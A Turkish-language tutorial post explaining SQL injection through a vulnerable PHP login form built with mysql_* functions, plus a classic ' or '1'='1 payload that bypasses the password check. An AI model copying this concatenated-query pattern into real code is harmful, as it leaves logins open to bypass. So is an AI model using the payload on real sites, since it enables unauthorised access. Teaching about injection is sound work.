İyi günler
Adından da anlaşıldığı gibi sql injection sql komutlarına enjecte etme yani komut ekleme olarak adlandırıla bilmektedir.Bu sql injection ile web sitelerine atak yaparak hackleme yapılabilmektedir.Tabi yeni teknoloji ile gelen yeniliklerle bu açıkların önüne geçilmiştir. Mysqli ve pdo gibi vb. komutlar kullanılarak yapılan veritabanı işlemlerinde bu sql injection kullanılmıyor. Mysql komutları kullanılarak yapılan işlemlerde bu işlem gereçekleştirilebilir. Aşagıda verecegim örnekte mysql komutları kullanılarak yapılmıştır.Bu mysql komutlarından kastım veri tabanına baglanma veritabanı üzerinde işlem yapmak için kullanılan hazır metodlardır.
[html]
<?php
$connect=mysql_connect("localhost","root","");
mysql_select_db("injection2",$connect);
if(@$_POST["name"] or @$_POST["pass"])
{
$name=$_POST["name"];
$pass=$_POST["pass"];
$sonuc = mysql_query("SELECT * FROM members WHERE name = ‘".$name."’ and password = ‘".$pass."’");
if(mysql_num_rows($sonuc)>0 )
echo "giriş başarılı";
else
echo "giriş başarısız";
}
?>
<form action="" method="post">
<input type="text" id="name" name="name"/>
<input type="text" id="pass" name="pass"/>
<input type="submit" value="giris"/>
</form>
[/html]
Bu kodlarda bizim formumuz ve database’e baglanmak için ve işlem yaptırmak için yer almaktadır.
Resimde gördünüz gibi password şifresi yazmadan giriş yapılmaktadır.İnput kısmına mustafa yazıldıgını gördük oradaki kısıma siz database ne yazdıysanız onu yazmalısınız.Yani database’e yazılan kullanıcı adı bilinmelidir.Peki neden tek tırnak koyduk.Bu text içindeki veri bizim yazdığımız kodların devamını getirdiğimiz için tek tırnak koyduk.Söyle göstereyim daha iyi anlaşılacaktır text içindeki kodu kopyalayıp
kodlarımızın içindeki posttan gelen verinin yerine yapıştıralım.
[html]
$sonuc = mysql_query("SELECT * FROM members WHERE name = ‘mustafa’ or’1’=’1 ‘ and password = ‘".$pass."’");
[/html]
Bu uygulamayı indirmek için tıkla.